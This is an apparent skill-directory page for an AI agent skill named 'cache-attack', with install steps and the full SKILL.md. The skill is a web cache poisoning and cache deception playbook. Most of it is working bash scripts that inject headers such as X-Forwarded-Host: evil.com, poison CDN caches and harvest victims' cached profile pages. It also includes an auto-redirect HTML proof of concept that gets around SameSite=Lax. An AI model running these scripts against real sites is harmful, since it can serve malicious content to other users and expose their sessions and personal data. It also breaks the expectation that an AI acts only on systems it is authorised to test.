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Cache Attack

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uphiago
cache-attack

Poison CDN cache or deceive when X-Cache header is detected.

Overview

Publisheruphiago
Repositoryrecon-skills
Skill namecache-attack
Stars
1.3K
Forks
213
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by uphiago on GitHub. Read the source before you install it.

Installation

Install the Cache Attack AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/recon/cache-attack .claude/skills/cache-attack
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Cache Attack in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Cache Attack on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Cache Attack is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Cache Attack Skill

Web Cache Poisoning (WCP) and Web Cache Deception (WCD) methodology. WCP poisons cached pages with malicious content served to other users. WCD tricks the cache into storing sensitive pages that the attacker can then read. Both techniques exploit CDN and reverse-proxy caching behavior on CloudFront, Cloudflare, Fastly, Varnish, and Nginx.

When to Use

  • Target uses a CDN (CloudFront, Cloudflare, Fastly) or reverse proxy (Varnish, Nginx cache).
  • Headers show X-Cache, Age, cf-cache-status, or X-Cache-Hits.
  • After surface recon finds no direct vulnerabilities — pivot to infrastructure layer.
  • Target allows file extension manipulation in URL paths (.css, .json, .js).

Prerequisites

  • terminal with curl.
  • Cache buster parameter for safe testing (?cb=RANDOM).
  • Patience: cache poisoning requires precise timing and may need multiple attempts.

How to Run

bash
# Phase 1: Detect cache
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" | grep -iE "age|x-cache|cf-cache-status|via|server"

# Phase 2: Test cache storage (two identical requests)
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/?cb=TEST1" | grep -iE "x-cache|cf-cache-status"
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/?cb=TEST1" | grep -iE "x-cache|cf-cache-status"
# Second response should show HIT if caching works

# Phase 3: Test unkeyed header reflection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" -H "X-Forwarded-Host: evil.com" | grep -i "location\|evil.com"

Quick Reference

Web Cache Poisoning (WCP) — attacker poisons cache for victims

Reflection LocationImpactSeverity
<link rel="canonical">SEO poisoningMedium
<script src="...">XSS (stored in cache)Critical
<meta property="og:url">Phishing (link preview)High
Location: headerMass open redirectHigh
<form action="...">Credential theftHigh
<link rel="stylesheet">CSS injectionMedium

Web Cache Deception (WCD) — victim's sensitive page cached, attacker reads it

TechniqueExampleSeverity
Extension forcing/profile.php/.cssCritical
Path delimiter/profile.php;.cssCritical
Query string/profile?cb=123.cssHigh
URL encoding/profile%2f..%2findex.cssHigh

Procedure

Phase 1 — Detect Cache

bash
TARGET="$1"

echo "[*] Cache detection on $TARGET"

# Check for cache headers
RESP=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null)

echo "Cache headers:"
echo "$RESP" | grep -iE "age|x-cache|cf-cache-status|via|x-served-by|x-cache-hits|x-timer|server"

# Deduce CDN
if echo "$RESP" | grep -qi "cloudfront"; then
  echo "[+] CloudFront detected — test WCD with path delimiter tricks"
elif echo "$RESP" | grep -qi "cloudflare"; then
  echo "[+] Cloudflare detected — test WCP with unkeyed headers"
elif echo "$RESP" | grep -qi "varnish\|x-cache"; then
  echo "[+] Varnish detected — test WCD with extension forcing"
elif echo "$RESP" | grep -qi "akamai"; then
  echo "[+] Akamai detected — test WCP with X-Forwarded-Host"
fi

# Confirm caching with two identical requests
echo ""
echo "[*] Cache storage test:"
CACHE_BUSTER="cb=$(date +%s)"

echo -n "  Request 1: "
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET/?$CACHE_BUSTER" -H "X-Cache-Debug: 1"
echo ""
sleep 2

echo -n "  Request 2: "
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "X-Cache: %header{x-cache} | Age: %header{age}" "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null
echo ""

# Test Age increment on repeated requests (no cache buster)
echo ""
echo -n "  Request 1 (no cb): "
AGE1=$(curl -skI "https://$TARGET/" 2>/dev/null | grep -i "^age:" | awk '{print $2}' | tr -d '\r')
echo "Age: ${AGE1:-none}"

sleep 3
echo -n "  Request 2 (no cb): "
AGE2=$(curl -skI "https://$TARGET/" 2>/dev/null | grep -i "^age:" | awk '{print $2}' | tr -d '\r')
echo "Age: ${AGE2:-none}"

if [[ -n "$AGE1" && -n "$AGE2" && "$AGE2" -gt "$AGE1" ]]; then
  echo "  [+] Age increments confirmed — cache is STORING responses"
fi

Phase 2 — Find Unkeyed Inputs (WCP)

bash
TARGET="$1"
CACHE_BUSTER="cb=$(date +%s)"

# 15 unkeyed headers to test
UNKEYED_HEADERS=(
  "X-Forwarded-Host: evil.com"
  "X-Forwarded-Scheme: http"
  "X-Forwarded-For: 127.0.0.1"
  "X-Host: evil.com"
  "X-Original-URL: /admin"
  "X-Rewrite-URL: /admin"
  "Forwarded: for=evil.com"
  "X-Forwarded-Port: 8443"
  "X-Amz-Website-Redirect-Location: /malicious"
  "X-HTTP-Method-Override: POST"
  "X-HTTP-Method: DELETE"
  "X-Method-Override: PUT"
)

echo "[*] Testing ${#UNKEYED_HEADERS[@]} unkeyed headers..."

for header in "${UNKEYED_HEADERS[@]}"; do
  key=$(echo "$header" | cut -d: -f1)
  value=$(echo "$header" | cut -d: -f2- | xargs)

  resp=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/?$CACHE_BUSTER" -H "$header" 2>/dev/null)
  if echo "$resp" | grep -qi "$value"; then
    echo "  [REFLECTED] $key: $value"
    echo "    $(echo "$resp" | grep -i "location\|$value" | head -1)"
  fi
done

Phase 3 — Prove Cache Storage (WCP)

bash
TARGET="$1"
MALICIOUS="evil.com"
PAYLOAD="x-forwarded-host: $MALICIOUS"
CACHE_BUSTER="cb=POISON_TEST_$(date +%s)"

echo "[*] Cache poisoning test with $PAYLOAD"

# Step 1: Poison — send request with malicious header
echo "[1] Poisoning cache..."
POISON_RESP=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/?$CACHE_BUSTER" -H "$PAYLOAD" -o /dev/null -w "%{http_code}" 2>/dev/null)
echo "  Poison request: HTTP $POISON_RESP"

sleep 2

# Step 2: Confirm cache HIT
echo "[2] Checking cache..."
CACHE_HIT=$(curl -skI "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null | grep -i "x-cache.*hit\|cf-cache-status.*HIT")
if [[ -n "$CACHE_HIT" ]]; then
  echo "  [+] Cache HIT confirmed: $CACHE_HIT"

  # Step 3: Read cached response (without the header)
  echo "[3] Reading cached response..."
  CACHED=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null)
  if echo "$CACHED" | grep -q "$MALICIOUS"; then
    echo "  [CRITICAL] POISON STORED IN CACHE!"
    echo "  Malicious content served to all users of this URL"
  else
    echo "  [-] Poison not stored (header is keyed or response doesn't reflect)"
  fi
else
  echo "  [-] Cache MISS — response not cached"
fi

Phase 4 — Web Cache Deception (WCD)

bash
TARGET="$1"
SENSITIVE_URL="$2"  # e.g., /profile or /wp-json/wp/v2/users

echo "[*] WCD test on $TARGET"

# Test extension forcing
for ext in ".css" ".js" ".json" ".png" ".ico"; do
  WCD_URL="${SENSITIVE_URL}${ext}"
  echo "  Testing: $WCD_URL"

  # Step 1: Force cache with fake static extension
  curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$WCD_URL" -H "X-Forwarded-Host: attacker.com" \
    -H "Accept: text/css,*/*" -o /tmp/wcd_test_$$.txt 2>/dev/null

  # Step 2: Check if sensitive data was cached
  CACHE_CHECK=$(curl -skI "https://$TARGET$WCD_URL" 2>/dev/null | grep -i "x-cache.*hit\|cf-cache-status.*HIT")
  if [[ -n "$CACHE_CHECK" ]]; then
    echo "  [CRITICAL] $WCD_URL CACHED — sensitive data stored!"

    # Check content
    if grep -qiE "email|password|token|user|auth" /tmp/wcd_test_$$.txt; then
      echo "  [CRITICAL] SENSITIVE DATA IN CACHED RESPONSE!"
      head -5 /tmp/wcd_test_$$.txt
    fi
  fi
  rm -f /tmp/wcd_test_$$.txt
  sleep 0.5
done

# Test path delimiter tricks
for delim in ";.css" "%2f..%2findex.css" "..;.css"; do
  WCD_URL="${SENSITIVE_URL}${delim}"
  code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET$WCD_URL" 2>/dev/null)
  [[ "$code" != "404" ]] && echo "  [POTENTIAL] $WCD_URL → HTTP $code"
  sleep 0.3
done

Phase 5 — SameSite Lax Bypass + WCD Combo

bash
# If the target uses SameSite=Lax cookies, WCD alone won't work because
# cookies aren't sent on cross-site requests. But SameSite=Lax sends
# cookies on TOP-LEVEL NAVIGATION (meta refresh, anchor click, form GET).

# Combo payload:
cat > wcd_samesite_poc.html << 'HTMLEOF'
<html>
<head>
  <!-- Victim visits this page, auto-redirects to WCD URL with cookies -->
  <meta http-equiv="refresh" content="0; url=https://TARGET/profile.php/.css">
</head>
<body>
  <p>Redirecting...</p>
  <!-- Backup: anchor tag if meta refresh fails -->
  <a id="fallback" href="https://TARGET/profile.php/.css">Click here</a>
  <script>document.getElementById('fallback').click();</script>
</body>
</html>
HTMLEOF

echo "[+] WCD + SameSite bypass PoC saved to wcd_samesite_poc.html"

Pitfalls

  • Reflection ≠ cache poisoning. Just because a header is reflected doesn't mean it's CACHED. Always prove storage with a second request.
  • Cache buster is mandatory. Never test without a unique cache buster per test, or you'll poison real user cache.
  • Cache Key Normalization. CDNs may normalize URLs before caching. Test case variations, trailing slashes, and ignored parameters.
  • Fat GET smuggling. Some CDNs accept 4000+ character query strings. The oversized request may be handled differently by origin vs cache.
  • Parameter Cloaking. Duplicate parameters (e.g., ?p=1&p=2) may cause cache key confusion.

Verification

  • WCP: Second request to the poisoned URL (without malicious header) MUST serve the poisoned content.
  • WCD: Cached response MUST contain sensitive user data (PII, session tokens, API responses).
  • Cache HIT MUST be confirmed via X-Cache: Hit or cf-cache-status: HIT header.
  • Always restore clean state: flush your test cache entries after verification.

Frequently asked questions

What does the Cache Attack AI skill do?

Poison CDN cache or deceive when X-Cache header is detected.

Why use Cache Attack on TypingMind?

Because you install it once and use it with any model. Cache Attack is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Cache Attack in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/uphiago/recon-skills/tree/main/recon/cache-attack. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Cache Attack?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Cache Attack?

As many as you like. As long as a model supports skills, you can use Cache Attack with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Cache Attack AI skill free?

Yes. It is published on GitHub by uphiago under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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